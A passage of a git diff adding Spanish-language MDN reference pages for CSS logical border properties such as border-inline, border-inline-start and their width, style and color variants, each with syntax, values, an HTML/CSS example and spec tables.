+<p><code>border-inline-end</code> puede ser usado para establecer los valores de uno o más de {{cssxref("border-inline-end-width")}}, {{cssxref("border-inline-end-style")}}, y {{cssxref("border-inline-end-color")}}. El borde físico al que se mapea depende<span style="font-size: 1rem; letter-spacing: -0.00278rem;"> del modo de escritura, la direccionalidad y la orientación del texto del elemento. Esto corresponde a las propiedades</span><span style="font-size: 1rem; letter-spacing: -0.00278rem;"> {{cssxref("border-top")}}, {{cssxref("border-right")}}, {{cssxref("border-bottom")}}, o {{cssxref("border-left")}} dependiendo de los valores definidos por {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</span></p>
+
+<p>Propiedades relacionadas son {{cssxref("border-block-start")}}, {{cssxref("border-block-end")}}, and {{cssxref("border-inline-start")}}, que definen los otros bordes del elemento.</p>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Valores">Valores</h3>
+
+<p>El <code>border-inline-end</code> es especificado con uno o más de los siguientes valores, en cualquier orden:</p>
+
+<dl>
+ <dt><code>&lt;'border-width'&gt;</code></dt>
+ <dd>El ancho del borde. Mira {{cssxref("border-width")}}.</dd>
+ <dt><code>&lt;'border-style'&gt;</code></dt>
+ <dd>La línea de estilo del borde. Mira {{cssxref("border-style")}}.</dd>
+ <dt><code>&lt;'color'&gt;</code></dt>
+ <dd>El color del borde. Mira {{cssxref("color")}}.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-rl;
+  border-inline-end: 5px dashed blue;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-inline-end", "border-inline-end")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.border-inline-end")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Esta propiedad se asigna a una de las propiedades del borde físico:{{cssxref("border-top")}}, {{cssxref("border-right")}}, {{cssxref("border-bottom")}}, o {{cssxref("border-left")}}.</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/border-inline-start-color/index.html b/files/es/web/css/border-inline-start-color/index.html
new file mode 100644
index 0000000000..b6c7da3e00
--- /dev/null
+++ b/files/es/web/css/border-inline-start-color/index.html
@@ -0,0 +1,90 @@
+---
+title: border-inline-start-color
+slug: Web/CSS/border-inline-start-color
+translation_of: Web/CSS/border-inline-start-color
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a>  <strong><code>border-inline-start-color</code></strong> define el color del borde lógico inicial en línea de un elemento, que se asigna al estilo de borde físico dependiendo del modo de escritura, la direccionalidad y la orientación del texto del elemento. Esto corresponde a las propiedades {{cssxref("border-top-color")}} y {{cssxref("border-bottom-color")}}, o {{cssxref("border-left-color")}}, y {{cssxref("border-right-color")}} dependiendo de los valores definidos por {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-inline-start-color.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers">border-inline-start-color: red;
+border-inline-start-color: #ee4141;
+</pre>
+
+<p>Propiedades relacionadas son {{cssxref("border-block-start-color")}}, {{cssxref("border-block-end-color")}}, y {{cssxref("border-inline-end-color")}}, que define los otros colores del borde del elemento.</p>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;'color'&gt;</code></dt>
+ <dd>El color del borde. Mira {{cssxref("color")}}.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  border: 10px solid blue;
+  border-inline-start-color: red;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-inline-start-color", "border-inline-start-color")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.border-inline-start-color")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Esta propiedad se asigna a una de las propiedades del borde físico: {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}}, y {{cssxref("border-left-color")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/border-inline-start-style/index.html b/files/es/web/css/border-inline-start-style/index.html
new file mode 100644
index 0000000000..e02c4e585b
--- /dev/null
+++ b/files/es/web/css/border-inline-start-style/index.html
@@ -0,0 +1,92 @@
+---
+title: border-inline-start-style
+slug: Web/CSS/border-inline-start-style
+translation_of: Web/CSS/border-inline-start-style
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a>  <strong><code>border-inline-start-style</code></strong> define el estilo del borde lógico inicial en línea de un elemento, que se asigna al estilo de borde físico dependiendo del modo de escritura, la direccionalidad y la orientación del texto del elemento. Esto corresponde a las propiedades {{cssxref("border-top-style")}} y {{cssxref("border-bottom-style")}}, o {{cssxref("border-left-style")}}, y {{cssxref("border-right-style")}} dependiendo de los valores definidos por {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-inline-start-style.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;'border-style'&gt; values */
+border-inline-start-style: dashed;
+border-inline-start-style: dotted;
+border-inline-start-style: groove;
+</pre>
+
+<p>Propiedades relacionadas son {{cssxref("border-block-start-style")}}, {{cssxref("border-block-end-style")}}, y {{cssxref("border-inline-end-style")}}, que definen los otros estilos del borde del elemento.</p>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;'border-style'&gt;</code></dt>
+ <dd>La línea de estilo del borde. Mira {{ cssxref("border-style") }}.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  border: 5px solid blue;
+  border-inline-start-style: dashed;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-inline-start-style", "border-inline-start-style")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.border-inline-start-style")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Esta propiedad se asigna a una de las propiedades del borde físico: {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}}, o {{cssxref("border-left-style")}}.</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/border-inline-start-width/index.html b/files/es/web/css/border-inline-start-width/index.html
new file mode 100644
index 0000000000..d507fcb933
--- /dev/null
+++ b/files/es/web/css/border-inline-start-width/index.html
@@ -0,0 +1,91 @@
+---
+title: border-inline-start-width
+slug: Web/CSS/border-inline-start-width
+translation_of: Web/CSS/border-inline-start-width
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a>  <strong><code>border-inline-start-width</code></strong> define el ancho del borde lógico inicial en línea de un elemento, que se asigna al estilo de borde físico dependiendo del modo de escritura, la direccionalidad y la orientación del texto del elemento. Esto corresponde a las propiedades {{cssxref("border-top-width")}} y {{cssxref("border-bottom-width")}}, o {{cssxref("border-left-width")}}, y {{cssxref("border-right-width")}} dependiendo de los valores definidos por {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-inline-start-width.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers">/* &lt;'border-width'&gt; values */
+border-inline-start-width: 5px;
+border-inline-start-width: thick;
+</pre>
+
+<p>Propiedades relacionadas son {{cssxref("border-block-start-width")}}, {{cssxref("border-block-end-width")}}, and {{cssxref("border-inline-end-width")}}, que definen los otros anchos del borde del elemento.</p>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;'border-width'&gt;</code></dt>
+ <dd>El ancho del borde. Mira {{ cssxref("border-width") }}.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  border: 1px solid blue;
+  border-inline-start-width: 5px;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-inline-start-width", "border-inline-start-width")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.border-inline-start-width")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Esta propiedad se asigna a una de las propiedades del borde físico:{{cssxref("border-top-width")}}, {{cssxref("border-right-width")}}, {{cssxref("border-bottom-width")}}, y {{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/border-inline-start/index.html b/files/es/web/css/border-inline-start/index.html
new file mode 100644
index 0000000000..5a40bc8105
--- /dev/null
+++ b/files/es/web/css/border-inline-start/index.html
@@ -0,0 +1,98 @@
+---
+title: border-inline-start
+slug: Web/CSS/border-inline-start
+translation_of: Web/CSS/border-inline-start
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a> <strong> <code>border-inline-start</code></strong> es una <a href="/en-US/docs/Web/CSS/Shorthand_properties">propiedad abreviada</a> para establecer los valores de la propiedad inicial del borde individual en línea en un solo lugar en la hoja de estilos.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-inline-start.html")}}</div>
+
+
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css no-line-numbers">border-inline-start: 1px;
+border-inline-start: 2px dotted;
+border-inline-start: medium dashed green;
+</pre>
+
+<p><code>border-inline-start</code> es especificado con uno o más de {{cssxref("border-inline-start-width")}}, {{cssxref("border-inline-start-style")}}, and {{cssxref("border-inline-start-color")}}. El borde físico al que se mapea depende del modo de escritura, la direccionalidad y la orientación del texto del elemento. Esto corresponde a las propiedades {{cssxref("border-top")}}, {{cssxref("border-right")}}, {{cssxref("border-bottom")}}, o {{cssxref("border-left")}} dependiendo de los valores definidos por {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<p>Propiedades relacionadas son {{cssxref("border-block-start")}}, {{cssxref("border-block-end")}}, and {{cssxref("border-inline-end")}}, que definen los otros bordes del elemento.</p>
+
+<p>{{cssinfo}}</p>
+
+<h3 id="Valores">Valores</h3>
+
+<p>El <code>border-inline-start</code> es especificado con uno o más de los sigueintes valores, en cualquier orden:</p>
+
+<dl>
+ <dt><code>&lt;'border-width'&gt;</code></dt>
+ <dd>El ancho del borde. Mira {{cssxref("border-width")}}.</dd>
+ <dt><code>&lt;'border-style'&gt;</code></dt>
+ <dd>La línea de estilo del borde. Mira {{cssxref("border-style")}}.</dd>
+ <dt><code>&lt;'color'&gt;</code></dt>
+ <dd>El color del borde. Mira {{cssxref("color")}}.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-rl;
+  border-inline-start: 5px dashed blue;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-inline-start", "border-inline-start")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.border-inline-start")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Esta propiedad se asigna a una de las propiedades del borde físico: {{cssxref("border-top")}}, {{cssxref("border-right")}}, {{cssxref("border-bottom")}}, o {{cssxref("border-left")}}.</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/border-inline-style/index.html b/files/es/web/css/border-inline-style/index.html
new file mode 100644
index 0000000000..23eea1cf40
--- /dev/null
+++ b/files/es/web/css/border-inline-style/index.html
@@ -0,0 +1,90 @@
+---
+title: border-inline-style
+slug: Web/CSS/border-inline-style
+translation_of: Web/CSS/border-inline-style
+---
+<div>{{CSSRef}}{{SeeCompatTable}} </div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a><strong> <code>border-inline-style</code></strong> define el estilo de los bordes lógicos en línea de un elemento, que se asigna al estilo de borde físico dependiendo del modo de escritura, la direccionalidad y la orientación del texto del elemento. Esto corresponde a las propiedades {{cssxref("border-top-style")}} y {{cssxref("border-bottom-style")}}, o {{cssxref("border-left-style")}}, y {{cssxref("border-right-style")}} dependiendo de los valores definidos por {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* &lt;'border-style'&gt; values */
+border-inline-style: dashed;
+border-inline-style: dotted;
+border-inline-style: groove;
+</pre>
+
+<p>El estilo del borde en otra dimensión puede establecerse con {{cssxref("border-block-style")}}, que establece {{cssxref("border-block-start-style")}}, y {{cssxref("border-block-end-style")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;'border-style'&gt;</code></dt>
+ <dd>La línea de estilo del borde. Mira {{ cssxref("border-style") }}.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  border: 5px solid blue;
+  border-inline-style: dashed;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-inline-style", "border-inline-style")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.border-inline-style")}}</p>
+
+<p> </p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Esta propiedad se asigna a una de las propiedades del borde físico: {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}}, o {{cssxref("border-left-style")}}.</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/border-inline-width/index.html b/files/es/web/css/border-inline-width/index.html
new file mode 100644
index 0000000000..b3c6eeb16f
--- /dev/null
+++ b/files/es/web/css/border-inline-width/index.html
@@ -0,0 +1,88 @@
+---
+title: border-inline-width
+slug: Web/CSS/border-inline-width
+translation_of: Web/CSS/border-inline-width
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a>  <strong><code>border-inline-width</code></strong> define al ancho del borde lógico en línea de un elemento, que se asigna al estilo de borde físico dependiendo del modo de escritura, la direccionalidad y la orientación del texto del elemento. Esto corresponde a las propiedades {{cssxref("border-top-width")}} y {{cssxref("border-bottom-width")}}, o {{cssxref("border-left-width")}}, y {{cssxref("border-right-width")}} dependiendo de los valores definidos por {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* &lt;'border-width'&gt; values */
+border-inline-width: 5px 10px;
+border-inline-width: 5px;
+border-inline-width: thick;
+</pre>
+
+<p>El ancho del borde en otra dimensión puede establecerse con {{cssxref("border-block-width")}}, que establece {{cssxref("border-block-start-width")}}, y {{cssxref("border-block-end-width")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;'border-width'&gt;</code></dt>
+ <dd>El ancho del borde. Mira {{ cssxref("border-width") }}.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-lr;
+  border: 1px solid blue;
+  border-inline-width: 5px 10px;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-block-width", "border-block-width")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.border-block-width")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Esta propiedad se asigna a una de las propiedades del borde físico:{{cssxref("border-top-width")}}, {{cssxref("border-right-width")}}, {{cssxref("border-bottom-width")}}, y {{cssxref("border-left-width")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/border-inline/index.html b/files/es/web/css/border-inline/index.html
new file mode 100644
index 0000000000..cdff68b414
--- /dev/null
+++ b/files/es/web/css/border-inline/index.html
@@ -0,0 +1,94 @@
+---
+title: border-inline
+slug: Web/CSS/border-inline
+translation_of: Web/CSS/border-inline
+---
+<p>{{CSSRef}}{{SeeCompatTable}} </p>
+
+<p>La propiedad de <a href="/en-US/docs/Web/CSS" title="CSS">CSS</a><strong> <code>border-inline</code></strong> es una <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Shorthand_properties">propiedad abreviada</a> para establecer los valores lógicos individuales del borde de bloque en un solo lugar en la hoja de estilos. </p>
+
+<pre class="brush:css no-line-numbers">border-inline: 1px;
+border-inline: 2px dotted;
+border-inline: medium dashed blue;
+</pre>
+
+<p><code>border-inline</code> puede ser usada para establecer los valores de uno o más de {{cssxref("border-inline-width")}}, {{cssxref("border-inline-style")}}, y {{cssxref("border-inline-color")}} estableciendo tanto el inicio como el final en la dimensión en línea a la vez. Los bordes físicos a los que se asigna dependen del modo de escritura, la direccionalidad y la orientación del texto del elemento. Corresponden a las propiedades {{cssxref("border-top")}} y {{cssxref("border-bottom")}} o {{cssxref("border-right")}}, and {{cssxref("border-left")}} dependiendo de los valores definidos por {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<p>El estilo del borde en otra dimensión puede establecerse con {{cssxref("border-block")}}, que establece {{cssxref("border-block-start")}}, y {{cssxref("border-block-end")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<h3 id="Valores">Valores</h3>
+
+<p>El <code>border-inline</code> es especificado con uno o más de los siguientes valores, en cualquier orden:</p>
+
+<dl>
+ <dt><code>&lt;'border-width'&gt;</code></dt>
+ <dd>El ancho del borde. Mira {{cssxref("border-width")}}.</dd>
+ <dt><code>&lt;'border-style'&gt;</code></dt>
+ <dd>La línea de estilo del borde. Mira {{cssxref("border-style")}}.</dd>
+ <dt><code>&lt;'color'&gt;</code></dt>
+ <dd>El color del borde. Mira {{cssxref("color")}}.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-rl;
+  border-inline: 5px dashed blue;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo", 140, 140)}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-inline", "border-inline")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.border-inline")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Esta propiedad se asigna a una de las propiedades del borde físico:{{cssxref("border-top")}}, {{cssxref("border-right")}}, {{cssxref("border-bottom")}}, o {{cssxref("border-left")}}.</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/border-left-color/index.html b/files/es/web/css/border-left-color/index.html
new file mode 100644
index 0000000000..1d78d5e755
--- /dev/null
+++ b/files/es/web/css/border-left-color/index.html
@@ -0,0 +1,73 @@
+---
+title: border-left-color
+slug: Web/CSS/border-left-color
+translation_of: Web/CSS/border-left-color
+---
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+
+<p><code>border-left-color</code> pone el color del borde izquierdo de un elemento,con el valor de el color en hexadecimal o con palabras clave, como azul, verde, rojo <code> transparente </code>.</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}: {{ Cssxref("color") }} propiedad</li>
+ <li>Se aplica a : todos los elementos</li>
+ <li>{{ Xref_cssinherited() }}: no</li>
+ <li>Porcentajes: N/A</li>
+ <li>Media: {{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }}: cuando son tomados de la propiedad 'color',los valores computarizados de 'color'; de otra manera como sean especificados.</li>
+</ul>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">border-left-color:<em>color</em> | transparent | inherit
+</pre>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<dl>
+ <dt>color </dt>
+ <dd>El color puede ser especificado en un valor RGB en hexadecimal, o usando uno de los colores predeterminados</dd>
+ <dt>transparent </dt>
+ <dd>El elemento no tiene color de si mismo, en vez este enseña el color detras de este elemento.</dd>
+</dl>
+
+<h3 id="Propiedades_parecidas" name="Propiedades_parecidas">Propiedades parecidas</h3>
+
+<ul>
+ <li>{{ Cssxref("border-color") }}</li>
+ <li>{{ Cssxref("border-bottom-color") }}</li>
+ <li>{{ Cssxref("border-right-color") }}</li>
+ <li>{{ Cssxref("border-top-color") }}</li>
+</ul>
+
+<h3 id="Examples" name="Examples">Examples</h3>
+
+<p><a href="/samples/cssref/border.html">Ver El Ejemplo Vivo</a></p>
+
+<pre>element {
+	width: 300px;
+        padding: 15px;
